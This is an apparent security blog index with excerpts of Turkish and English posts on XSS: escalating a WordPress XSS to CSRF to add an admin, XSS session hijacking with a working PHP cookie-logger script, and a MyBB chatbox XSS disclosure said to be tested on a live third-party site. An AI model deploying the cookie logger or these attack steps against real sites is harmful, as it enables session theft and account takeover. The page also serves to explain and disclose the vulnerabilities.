Xss on diaryofinjector

XSS to CSRF

Fri, 30 Mar 2018 00:00:00 +0000

Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım. Wordpress üzerindeki basit bir xss’i csrf ye dönüştürüp yeni bir yönetici eklemeyi göstereceğim.

CSRF - CROSS SITE REQUEST FORGERY (Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)

Bildiğiniz gibi wordpress’in csrf saldırılarına önlem olarak kullanıcı için oluşturduğu bir token vardır ve bu token’in sayfadaki input id’si _wpnonce‘tur. Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez. Biz saldırıda wpnonce token’ını javascript ile alıp kendi post’umuzu yöneticinin haberi olmadan göndereceğiz. Bu istek normal şartlar altında SOP önleminden dolayı yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız. Bu sayede SOP önlemini bypasslamış olacağız.

Xss Session Hijacking Uygulama Örneği

Tue, 24 Oct 2017 00:00:00 +0000

Bu yazımızda basit bir iletişim forumundan ek bir güvenlik ve kontrol olmadan veri gönderimini kullanarak Xss Session Hijacking saldırısı düzenlemeyi anlatacağım.

Yukarıda bir iletişim formu var şimdi buradaki inputlara ve textarea’ya verileri giriyoruz ve tamperdata,burpsuite gibi araçlarla yakalayıp veriyi değiştireceğiz.

Verilerimiz gördüğünüz gibi şimdi bu verilere cookie loglayacağımız için loggerimizin adresini yazıyoruz.

Php Kodu

<?php
error_reporting(0);
$cookie=$_GET["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('lob.txt','a'); // chmod 777 lob.txt
fwrite($file,"TARIH:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
?>

Javascript Kodu

MyBB ChangUonDyu Chatbox XSS

Mon, 10 Nov 2014 00:00:00 +0000

Versions Affected: I.D.K.(never tested but works on the latest one)

Vulnerable file:

“chatbox/message.php”

on lines

54: $shout['color'] = strip_tags($shout['color']);
55: $shout['font'] = strip_tags($shout['font']);

U shall use htmlspecialchars($shout['color'],ENT_QUOTES); or similar instead of strip_tags(). Strip_tags just blocks html tags, doesnt do anything for quotation marks. That is why it was named “strip_tags” ;)

Tested on madleets.com;

Sorry guys dont take it personal ;)

Example attack: Send a message on chatbox with editing selected font value like this(you can use inspect element options on browsers):

XSS Açıkları ve Kullanma Yöntemleri

Wed, 06 Aug 2014 00:00:00 +0000

Bu yazıda XSS (Cross Site Scripting - Çapraz Siteden Betik Çalıştırma) saldırılarının kullanımından bahsedeceğim. Bulma yöntemlerini az çok biliyorsunuzdur zaten.

Bu açık türü de nerdeyse tüm web application açık türleri gibi, Input Validation eksikliğinden kaynaklanır.

Yani dışarıdan kullanıcının girebildiği parametrelerin filtrelenmemesinden kaynaklanır. Bildiğiniz gibi sql injection da bu sebeple ortaya çıkmaktadır. Ama bu saldırı türünde sayfada “html” veya “javascript” kodları çalıştırmak mümkündür.

Açığa sebebiyet verecek karakterler webmasterın sayfayı kodlarken ne şekilde kodladığına göre değişir ancak en yaygınları ( " , ' , < , > ) karakterleridir.